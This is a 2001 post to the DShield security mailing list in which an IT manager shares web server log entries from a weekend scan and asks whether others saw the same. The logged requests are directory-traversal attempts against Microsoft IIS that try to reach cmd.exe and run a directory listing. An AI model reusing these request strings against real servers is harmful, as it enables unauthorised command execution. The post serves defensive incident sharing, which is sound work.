[Dshield] Check this out.

Paul Marsh pmarsh at nmefdn.org
Mon Aug 20 12:29:41 GMT 2001


This is a welcoming log entree on a Monday Morning.  Anybody else get any of
these babies over the weekend?  It's from CHINANET Shandong province
network.

2001-08-19 17:41:48 61.156.28.14 - GET /winnt/system32/cmd.exe /c+dir 401 80
- - -
2001-08-19 17:41:48 61.156.28.14 - GET /winnt/system32/cmd.exe /c+dir 401 80
- - -
2001-08-19 17:41:48 61.156.28.14 - GET
/scripts/..Á%pc../winnt/system32/cmd.exe /c+dir 401 80 - - -
2001-08-19 17:41:50 61.156.28.14 - GET
/scripts/..À%9v../winnt/system32/cmd.exe /c+dir 401 80 - - -
2001-08-19 17:41:50 61.156.28.14 - GET
/scripts/..À%qf../winnt/system32/cmd.exe /c+dir 401 80 - - -
2001-08-19 17:41:50 61.156.28.14 - GET
/scripts/..Á%8s../winnt/system32/cmd.exe /c+dir 401 80 - - -
2001-08-19 17:41:51 61.156.28.14 - GET
/scripts/..Á
../winnt/system32/cmd.exe /c+dir 401 80 - - -
2001-08-19 17:41:51 61.156.28.14 - GET /winnt/system32/cmd.exe /c+dir 401 80
- - -
2001-08-19 17:41:51 61.156.28.14 - GET /scripts/..o../winnt/system32/cmd.exe
/c+dir 401 80 - - -
2001-08-19 17:41:53 61.156.28.14 - GET /winnt/system32/cmd.exe /c+dir 401 80
- - -
2001-08-19 17:41:53 61.156.28.14 - GET
/scripts/..ðEUREUR¯../winnt/system32/cmd.exe /c+dir 401 80 - - -
2001-08-19 17:41:53 61.156.28.14 - GET
/scripts/..øEUREUREUR¯../winnt/system32/cmd.exe /c+dir 401 80 - - -
2001-08-19 17:41:54 61.156.28.14 - GET
/scripts/..üEUREUREUREUR¯../winnt/system32/cmd.exe /c+dir 401 80 - - -
2001-08-19 17:41:54 61.156.28.14 - GET /winnt/system32/cmd.exe /c+dir 401 80
- - -

Paul M. Marsh
IT Manager
Nellie Mae Education Foundation
Tel. #  781-348-4235
Pager 877-372-1927

www.nmefdn.org




More information about the list mailing list